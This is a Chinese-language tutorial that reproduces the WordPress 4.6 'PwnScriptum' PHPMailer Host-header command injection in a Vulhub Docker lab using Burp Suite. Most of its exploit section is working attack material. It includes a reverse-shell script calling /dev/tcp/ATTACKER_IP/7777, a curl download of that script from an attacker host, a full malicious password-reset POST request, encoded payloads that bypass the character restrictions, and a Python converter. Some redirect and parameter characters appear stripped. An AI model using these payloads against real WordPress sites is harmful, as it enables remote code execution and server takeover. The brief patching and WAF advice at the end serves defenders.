WordPress 4.6老漏洞复现：用Docker+BurpSuite手把手教你玩转PwnScriptum（附完整Payload）

WordPress 4.6 PwnScriptum漏洞实战从环境搭建到反向Shell的完整指南在网络安全领域漏洞复现是提升实战能力的重要途径。今天我们将深入探讨一个经典的WordPress漏洞——4.6版本的PwnScriptum命令执行漏洞。不同于简单的理论讲解本文将带您从零开始一步步构建实验环境最终实现完整的漏洞利用。无论您是刚入门的安全爱好者还是希望巩固基础的中级研究者都能从这篇实战指南中获得实用价值。1. 实验环境准备与配置1.1 Docker与Vulhub靶场搭建现代漏洞研究离不开标准化环境。我们选择Docker作为容器化解决方案它能快速部署隔离的测试环境避免污染主机系统。首先确保已安装Docker和docker-composesudo apt-get update sudo apt-get install docker.io docker-compose接下来获取Vulhub漏洞库这是一个开源的漏洞环境集合git clone https://github.com/vulhub/vulhub.git cd vulhub/wordpress/pwnscriptum启动WordPress 4.6漏洞环境仅需一条命令docker-compose up -d提示如果遇到端口冲突可修改docker-compose.yml中的80:80为其他端口如8080:80环境启动后访问http://localhost:8080(或您配置的端口)将看到WordPress安装界面。按照常规流程完成安装记住设置的管理员用户名和密码。1.2 必要工具安装与配置Burp Suite是本次实验的核心工具之一社区版已足够满足需求。下载安装后配置浏览器代理为127.0.0.1:8080并导入Burp的CA证书以避免HTTPS拦截问题。同时准备一个简易HTTP服务器用于托管payload。Python内置模块即可胜任python3 -m http.server 8000在另一终端启动netcat监听准备接收反向shellnc -lvnp 77772. 漏洞原理深度解析2.1 PwnScriptum漏洞成因该漏洞源于WordPress 4.6及以下版本中PHPMailer组件(版本5.2.18)的缺陷。当用户发起密码重置请求时系统会构造包含Host头信息的邮件。攻击者通过精心构造Host字段可注入任意命令。关键点在于WordPress未对Host头进行充分过滤导致${run{command}}语法被解析执行。这种设计本用于邮件模板变量替换却被恶意利用。2.2 利用限制与绕过技巧原始漏洞利用存在多个限制条件字符限制斜杠/需替换为${substr{0}{1}{$spool_directory}}空格需替换为${substr{10}{1}{$tod_log}}禁止使用引号和管道符路径要求必须使用绝对路径如/bin/bash而非简单的bash执行环境命令会被转为小写需要已知有效用户名无直接回显这些限制使得直接获取shell变得困难需要分阶段实施攻击。3. 分步漏洞利用实战3.1 第一阶段Payload构造我们需要执行两个关键命令下载远程shell脚本执行该脚本首先准备shell.sh内容#!/bin/bash bash -i /dev/tcp/ATTACKER_IP/7777 01将ATTACKER_IP替换为您的本机IP保存后启动HTTP服务。接着处理命令字符。原始下载命令示例/usr/bin/curl -o /tmp/rce 192.168.1.100/shell.sh转换后变为${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.1.100${substr{0}{1}{$spool_directory}}shell.sh3.2 第二阶段Burp Suite拦截与修改访问WordPress登录页面点击忘记密码输入已知用户名(如admin)点击获取新密码Burp拦截POST请求修改Host头为Host: target(any -frootlocalhost -be ${run{转换后的命令}} null)完整请求示例POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.1.100${substr{0}{1}{$spool_directory}}shell.sh}} null) User-Agent: Mozilla/5.0 Accept: text/html Content-Type: application/x-www-form-urlencoded Content-Length: 56 wp-submitGetNewPasswordredirect_touser_loginadmin发送请求后重复相同步骤处理执行命令/bin/bash /tmp/rce对应的转换格式${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce4. 高级技巧与疑难排解4.1 常见问题解决方案问题现象可能原因解决方法无nc连接命令转换错误检查斜杠/空格替换是否完整连接立即断开防火墙阻挡检查服务器防火墙规则500错误用户名错误确保使用存在的用户名无任何反应Payload格式错误验证${run{}}语法完整性4.2 自动化脚本辅助手动转换命令繁琐且易错。以下Python脚本可自动完成转换def convert_command(cmd): slash ${substr{0}{1}{$spool_directory}} space ${substr{10}{1}{$tod_log}} return cmd.replace(/, slash).replace( , space) command /bin/bash -c echo test print(convert_command(command))4.3 防御措施建议对于系统管理员防护措施包括立即升级WordPress至最新版本更新PHPMailer组件配置WAF规则过滤异常Host头限制WordPress的邮件发送权限在实验环境中成功获取shell后别忘了关闭测试环境docker-compose down通过这次完整复现我们不仅理解了漏洞原理更掌握了从环境搭建到实际利用的全流程。这种系统化的学习方法远比单纯阅读漏洞报告更有价值。